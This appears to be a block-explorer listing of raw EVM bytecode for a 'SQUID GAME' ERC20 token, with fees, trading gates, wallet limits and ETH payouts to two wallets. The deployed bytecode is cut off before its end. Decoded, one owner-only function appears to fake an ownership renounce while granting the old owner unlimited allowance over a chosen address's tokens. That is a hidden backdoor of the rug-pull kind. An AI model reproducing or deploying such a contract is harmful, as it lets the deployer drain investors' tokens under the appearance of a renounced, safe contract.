fffffffffffffffffffffffffffffffffffffff160361125a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125190612c70565b60405180910390fd5b5f811161129c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129390612cfe565b60405180910390fd5b6112a4610ccf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561131257506112e2610ccf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561161057600360149054906101000a900460ff166113a157611333610ccf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612d8c565b60405180910390fd5b5b600d548111156113e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dd90612df4565b60405180910390fd5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461149257600e548161144784610b4c565b6114519190612e12565b10611491576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148890612eb5565b60405180910390fd5b5b5f61149c30610b4c565b90505f600f548210159050600d5482106114b657600d5491505b8080156114d05750600360159054906101000a900460ff16155b8015611529575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156115415750600360169054906101000a900460ff165b8015611594575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156115e7575060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561160d576115f5826119d1565b5f4790505f81111561160b5761160a81611c3c565b5b505b50505b5f6001905060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806116b0575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611761575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611760575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561176e575f90506118f1565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611817575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561182f57600854600b819055506009546011819055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118d8575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156118f057600a54600b81905550600c546011819055505b5b6118fd84848484611d25565b50505050565b5f83831115829061194a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194191906124cd565b60405180910390fd5b505f83856119589190612ed3565b9050809150509392505050565b5f6010548211156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290612f76565b60405180910390fd5b5f6119b4611d52565b90506119c98184611d7b90919063ffffffff16565b915050919050565b6001600360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a0857611a07612f94565b5b604051908082528060200260200182016040528015611a365781602001602082028036833780820191505090505b50905030815f81518110611a4d57611a4c612927565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611af1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b159190612fd5565b81600181518110611b2957611b28612927565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b8f3060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fbb565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639f7355b4835f8430426040518663ffffffff1660e01b8152600401611bf19594939291906130f0565b5f604051808303815f87803b158015611c08575f80fd5b505af1158015611c1a573d5f803e3d5ffd5b50505050505f600360156101000a81548160ff02191690831515021790555050565b5f600282611c4a9190613175565b905060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cb0573d5f803e3d5ffd5b5060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8284611cf89190612ed3565b90811502906040515f60405180830381858888f19350505050158015611d20573d5f803e3d5ffd5b505050565b80611d3357611d32611dc4565b5b611d3e848484611dfd565b80611d4c57611d4b611fbd565b5b50505050565b5f805f611d5d611fd1565b91509150611d748183611d7b90919063ffffffff16565b9250505090565b5f611dbc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061202d565b905092915050565b5f600b54148015611dd657505f601154145b611dfb57600b546012819055506011546013819055505f600b819055505f6011819055505b565b5f805f805f80611e0c8761208e565b955095509550955095509550611e688660055f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120ee90919063ffffffff16565b60055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ef98560055f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461213790919063ffffffff16565b60055f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f4381612194565b611f4d848361224b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611faa919061242a565b60405180910390a3505050505050505050565b601254600b81905550601354601181905550565b5f805f60105490505f670de0b6b3a76400009050612002670de0b6b3a7640000601054611d7b90919063ffffffff16565b82101561202057601054670de0b6b3a7640000935093505050612029565b81819350935050505b9091565b5f8083118290612073576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206a91906124cd565b60405180910390fd5b505f83856120819190613175565b9050809150509392505050565b5f805f805f805f805f6120a68a600b54601154612285565b9250925092505f6120b5611d52565b90505f805f6120c68e878787612317565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f61212f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611903565b905092915050565b5f8082846121459190612e12565b90508381101561218a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612181906131ef565b60405180910390fd5b8091505092915050565b5f61219d611d52565b90505f6121b3828461239b90919063ffffffff16565b90506122058160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461213790919063ffffffff16565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b612260826010546120ee90919063ffffffff16565b60108190555061227b8160075461213790919063ffffffff16565b6007819055505050565b5f805f806122af60646122a1888a61239b90919063ffffffff16565b611d7b90919063ffffffff16565b90505f6122d860646122ca888b61239b90919063ffffffff16565b611d7b90919063ffffffff16565b90505f612300826122f2858c6120ee90919063ffffffff16565b6120ee90919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f8061232e858961239b90919063ffffffff16565b90505f612344868961239b90919063ffffffff16565b90505f61235a878961239b90919063ffffffff16565b90505f6123828261237485876120ee90919063ffffffff16565b6120ee90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f8083036123ab575f905061240c565b5f82846123b8919061320d565b90508284826123c79190613175565b14612407576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fe906132be565b60405180910390fd5b809150505b92915050565b5f819050919050565b61242481612412565b82525050565b5f60208201905061243d5f83018461241b565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561247a57808201518184015260208101905061245f565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61249f82612443565b6124a9818561244d565b93506124b981856020860161245d565b6124c281612485565b840191505092915050565b5f6020820190508181035f8301526124e58184612495565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61251e826124f5565b9050919050565b61252e81612514565b8114612538575f80fd5b50565b5f8135905061254981612525565b92915050565b61255881612412565b8114612562575f80fd5b50565b5f813590506125738161254f565b92915050565b5f806040838503121561258f5761258e6124ed565b5b5f61259c8582860161253b565b92505060206125ad85828601612565565b9150509250929050565b5f8115159050919050565b6125cb816125b7565b82525050565b5f6020820190506125e45f8301846125c2565b92915050565b5f819050919050565b5f61260d612608612603846124f5565b6125ea565b6124f5565b9050919050565b5f61261e826125f3565b9050919050565b5f61262f82612614565b9050919050565b61263f81612625565b82525050565b5f6020820190506126585f830184612636565b92915050565b5f805f60608486031215612675576126746124ed565b5b5f6126828682870161253b565b93505060206126938682870161253b565b92505060406126a486828701612565565b9150509250925092565b5f60ff82169050919050565b6126c3816126ae565b82525050565b5f6020820190506126dc5f8301846126ba565b92915050565b5f6126ec826124f5565b9050919050565b6126fc816126e2565b82525050565b5f6020820190506127155f8301846126f3565b92915050565b5f602082840312156127305761272f6124ed565b5b5f61273d8482850161253b565b91505092915050565b61274f81612514565b82525050565b5f6020820190506127685f830184612746565b92915050565b5f60208284031215612783576127826124ed565b5b5f61279084828501612565565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126127ba576127b9612799565b5b8235905067ffffffffffffffff8111156127d7576127d661279d565b5b6020830191508360208202830111156127f3576127f26127a1565b5b9250929050565b612803816125b7565b811461280d575f80fd5b50565b5f8135905061281e816127fa565b92915050565b5f805f6040848603121561283b5761283a6124ed565b5b5f84013567ffffffffffffffff811115612858576128576124f1565b5b612864868287016127a5565b9350935050602061287786828701612810565b9150509250925092565b5f8060408385031215612897576128966124ed565b5b5f6128a48582860161253b565b92505060206128b58582860161253b565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128f360208361244d565b91506128fe826128bf565b602082019050919050565b5f6020820190508181035f830152612920816128e7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61298b82612412565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036129bd576129bc612954565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612a2260268361244d565b9150612a2d826129c8565b604082019050919050565b5f6020820190508181035f830152612a4f81612a16565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612ab060248361244d565b9150612abb82612a56565b604082019050919050565b5f6020820190508181035f830152612add81612aa4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b3e60228361244d565b9150612b4982612ae4565b604082019050919050565b5f6020820190508181035f830152612b6b81612b32565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612bcc60258361244d565b9150612bd782612b72565b604082019050919050565b5f6020820190508181035f830152612bf981612bc0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612c5a60238361244d565b9150612c6582612c00565b604082019050919050565b5f6020820190508181035f830152612c8781612c4e565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612ce860298361244d565b9150612cf382612c8e565b604082019050919050565b5f6020820190508181035f830152612d1581612cdc565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f612d76603f8361244d565b9150612d8182612d1c565b604082019050919050565b5f6020820190508181035f830152612da381612d6a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f612dde601c8361244d565b9150612de982612daa565b602082019050919050565b5f6020820190508181035f830152612e0b81612dd2565b9050919050565b5f612e1c82612412565b9150612e2783612412565b9250828201905080821115612e3f57612e3e612954565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f612e9f60238361244d565b9150612eaa82612e45565b604082019050919050565b5f6020820190508181035f830152612ecc81612e93565b9050919050565b5f612edd82612412565b9150612ee883612412565b9250828203905081811115612f0057612eff612954565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f612f60602a8361244d565b9150612f6b82612f06565b604082019050919050565b5f6020820190508181035f830152612f8d81612f54565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050612fcf81612525565b92915050565b5f60208284031215612fea57612fe96124ed565b5b5f612ff784828501612fc1565b91505092915050565b5f819050919050565b5f61302361301e61301984613000565b6125ea565b612412565b9050919050565b61303381613009565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61306b81612514565b82525050565b5f61307c8383613062565b60208301905092915050565b5f602082019050919050565b5f61309e82613039565b6130a88185613043565b93506130b383613053565b805f5b838110156130e35781516130ca8882613071565b97506130d583613088565b9250506001810190506130b6565b5085935050505092915050565b5f60a0820190506131035f83018861241b565b613110602083018761302a565b81810360408301526131228186613094565b90506131316060830185612746565b61313e608083018461241b565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61317f82612412565b915061318a83612412565b92508261319a57613199613148565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6131d9601b8361244d565b91506131e4826131a5565b602082019050919050565b5f6020820190508181035f830152613206816131cd565b9050919050565b5f61321782612412565b915061322283612412565b925082820261323081612412565b9150828204841483151761324757613246612954565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132a860218361244d565b91506132b38261324e565b604082019050919050565b5f6020820190508181035f8301526132d58161329c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220eb041e2867946c75d065d0d71e9395ad71d1bee5feb13d961afe8db31e7a0a1764736f6c63430008140033

Deployed Bytecode

0x608060405260043610610143575f3560e01c80633d8af5f2116100b55780638da5cb5b1161006e5780638da5cb5b1461043257806395d89b411461045c5780639d2918fa14610486578063a9059cbb146104b0578063dd62ed3e146104ec578063f2fde38b146105285761014a565b80633d8af5f21461032a5780634bf28fd0146103545780634f473db01461037e578063640bd1e0146103a657806370a08231146103ce57806383364ea21461040a5761014a565b806318160ddd1161010757806318160ddd1461023257806323b872dd1461025c5780632fae793714610298578063313ce567146102ae57806335c55bf2146102d857806338bf3cfa146103025761014a565b8063039cc7491461014e57806304d6d79e1461017857806306fdde03146101a2578063095ea7b3146101cc5780631694505e146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b50610162610550565b60405161016f919061242a565b60405180910390f35b348015610183575f80fd5b5061018c610556565b604051610199919061242a565b60405180910390f35b3480156101ad575f80fd5b506101b661055c565b6040516101c391906124cd565b60405180910390f35b3480156101d7575f80fd5b506101f260048036038101906101ed9190612579565b610599565b6040516101ff91906125d1565b60405180910390f35b348015610213575f80fd5b5061021c6105b6565b6040516102299190612645565b60405180910390f35b34801561023d575f80fd5b506102466105db565b604051610253919061242a565b60405180910390f35b348015610267575f80fd5b50610282600480360381019061027d919061265e565b6105ea565b60405161028f91906125d1565b60405180910390f35b3480156102a3575f80fd5b506102ac6106be565b005b3480156102b9575f80fd5b506102c2610772565b6040516102cf91906126c9565b60405180910390f35b3480156102e3575f80fd5b506102ec61077a565b6040516102f99190612702565b60405180910390f35b34801561030d575f80fd5b506103286004803603810190610323919061271b565b61079f565b005b348015610335575f80fd5b5061033e610991565b60405161034b919061242a565b60405180910390f35b34801561035f575f80fd5b50610368610997565b6040516103759190612755565b60405180910390f35b348015610389575f80fd5b506103a4600480360381019061039f919061276e565b6109bc565b005b3480156103b1575f80fd5b506103cc60048036038101906103c7919061271b565b610a5a565b005b3480156103d9575f80fd5b506103f460048036038101906103ef919061271b565b610b4c565b604051610401919061242a565b60405180910390f35b348015610415575f80fd5b50610430600480360381019061042b9190612824565b610b9a565b005b34801561043d575f80fd5b50610446610ccf565b6040516104539190612755565b60405180910390f35b348015610467575f80fd5b50610470610cf6565b60405161047d91906124cd565b60405180910390f35b348015610491575f80fd5b5061049a610d33565b6040516104a79190612702565b60405180910390f35b3480156104bb575f80fd5b506104d660048036038101906104d19190612579565b610d58565b6040516104e391906125d1565b60405180910390f35b3480156104f7575f80fd5b50610512600480360381019061050d9190612881565b610d75565b60405161051f919061242a565b60405180910390f35b348015610533575f80fd5b5061054e6004803603810190610549919061271b565b610df7565b005b600d5481565b600f5481565b60606040518060400160405280600a81526020017f53515549442047414d4500000000000000000000000000000000000000000000815250905090565b5f6105ac6105a5610fb4565b8484610fbb565b6001905092915050565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f6105f684848461117e565b6106b384610602610fb4565b6106ae856040518060600160405280602881526020016132dd6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610665610fb4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119039092919063ffffffff16565b610fbb565b600190509392505050565b6106c6610fb4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074990612909565b60405180910390fd5b670de0b6b3a7640000600d81905550670de0b6b3a7640000600e81905550565b5f6009905090565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107a7610fb4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610833576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082a90612909565b60405180910390fd5b5f8190505f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f1960025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600e5481565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c4610fb4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4790612909565b60405180910390fd5b80600f8190555050565b610a62610fb4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae590612909565b60405180910390fd5b6001600360146101000a81548160ff0219169083151502179055508060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f610b9360055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611965565b9050919050565b610ba2610fb4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2590612909565b60405180910390fd5b5f5b83839050811015610cc9578160045f868685818110610c5257610c51612927565b5b9050602002016020810190610c67919061271b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610cc190612981565b915050610c30565b50505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017fe9b1bfe9b1bce6b8b8e6888f0000000000000000000000000000000000000000815250905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610d6b610d64610fb4565b848461117e565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610dff610fb4565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8290612909565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef090612a38565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611029576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102090612ac6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90612b54565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611171919061242a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e390612be2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361125a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125190612c70565b60405180910390fd5b5f811161129c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129390612cfe565b60405180910390fd5b6112a4610ccf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561131257506112e2610ccf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561161057600360149054906101000a900460ff166113a157611333610ccf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612d8c565b60405180910390fd5b5b600d548111156113e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dd90612df4565b60405180910390fd5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461149257600e548161144784610b4c565b6114519190612e12565b10611491576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148890612eb5565b60405180910390fd5b5b5f61149c30610b4c565b90505f600f548210159050600d5482106114b657600d5491505b8080156114d05750600360159054906101000a900460ff16155b8015611529575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156115415750600360169054906101000a900460ff165b8015611594575060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156115e7575060045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561160d576115f5826119d1565b5f4790505f81111561160b5761160a81611c3c565b5b505b50505b5f6001905060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16806116b0575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611761575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611760575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561176e575f90506118f1565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611817575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561182f57600854600b819055506009546011819055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118d8575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156118f057600a54600b81905550600c546011819055505b5b6118fd84848484611d25565b50505050565b5f83831115829061194a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194191906124cd565b60405180910390fd5b505f83856119589190612ed3565b9050809150509392505050565b5f6010548211156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290612f76565b60405180910390fd5b5f6119b4611d52565b90506119c98184611d7b90919063ffffffff16565b915050919050565b6001600360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611a0857611a07612f94565b5b604051908082528060200260200182016040528015611a365781602001602082028036833780820191505090505b50905030815f81518110611a4d57611a4c612927565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611af1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b159190612fd5565b81600181518110611b2957611b28612927565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b8f3060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fbb565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639f7355b4835f8430426040518663ffffffff1660e01b8152600401611bf19594939291906130f0565b5f604051808303815f87803b158015611c08575f80fd5b505af1158015611c1a573d5f803e3d5ffd5b50505050505f600360156101000a81548160ff02191690831515021790555050565b5f600282611c4a9190613175565b905060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cb0573d5f803e3d5ffd5b5060165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8284611cf89190612ed3565b90811502906040515f60405180830381858888f19350505050158015611d20573d5f803e3d5ffd5b505050565b80611d3357611d32611dc4565b5b611d3e848484611dfd565b80611d4c57611d4b611fbd565b5b50505050565b5f805f611d5d611fd1565b91509150611d748183611d7b90919063ffffffff16565b9250505090565b5f611dbc83836040